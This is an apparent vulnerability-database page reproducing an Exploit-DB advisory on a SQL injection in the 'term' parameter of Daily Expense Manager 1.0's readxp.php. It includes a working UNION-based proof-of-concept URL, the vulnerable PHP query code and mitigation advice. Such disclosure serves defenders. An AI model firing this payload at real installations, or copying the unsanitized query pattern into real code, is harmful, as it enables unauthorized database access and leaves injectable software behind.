Daily Expense Manager 1.0 - 'term' SQL Injection

vendor:

Daily Expense Manager

by:

Stefan Hesselman

6.1

CVSS

HIGH

SQL Injection

89, 74

CWE

Product Name: Daily Expense Manager

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE: a:code-projects:daily_expense_manager:1.0

Metasploit:

Other Scripts:

Platforms Tested: Kali Linux

2024

Daily Expense Manager 1.0 – ‘term’ SQL Injection

Daily Expense Manager 1.0 is vulnerable to SQL injection through the 'term' parameter in the readxp.php file. An attacker can inject malicious SQL queries via the 'term' parameter, leading to unauthorized access to the database.

Mitigation:

To mitigate this vulnerability, input validation and parameterized queries should be implemented to prevent SQL injection attacks. Sanitize user input and use prepared statements when interacting with databases.

Source

Exploit-DB raw data:

# Exploit Title: Daily Expense Manager 1.0 - 'term' SQLi
# Date: February 25th, 2024
# Exploit Author: Stefan Hesselman
# Vendor Homepage: https://code-projects.org/daily-expense-manager-in-php-with-source-code/
# Software Link: https://download-media.code-projects.org/2020/01/DAILY_EXPENSE_MANAGER_IN_PHP_WITH_SOURCE_CODE.zip
# Version: 1.0
# Tested on: Kali Linux
# CVE: N/A
# CWE: CWE-89, CWE-74

## Description
Daily Expense Manager is vulnerable to SQL injection attacks. The affected HTTP parameter is the 'term' parameter. Any remote, unauthenticated attacker 
can exploit the vulnerability by injecting additional, malicious SQL queries to be run on the database.

## Vulnerable endpoint:
http://example.com/Daily-Expense-Manager/readxp.php?term=asd

## Vulnerable HTTP parameter:
term (GET)

## Exploit proof-of-concept:
http://example.com/Daily-Expense-Manager/readxp.php?term=asd%27%20UNION%20ALL%20SELECT%201,@@version,3,4,5,6--%20-

## Vulnerable PHP code:
File: /Daily-Expense-Manager/readxp.php, Lines: 16-23
<?php
[...]
//get search term
$searchTerm = $_GET['term']; # unsanitized and under control of the attacker.
//get matched data from skills table
$query = $conn->query("SELECT * FROM expense WHERE pname like '%$searchTerm%' AND uid='$sid' and isdel='0' group by pname");
while ($row = $query->fetch_assoc()) {
    $data[] = $row['pname'];
}
//return json data
echo json_encode($data);
?>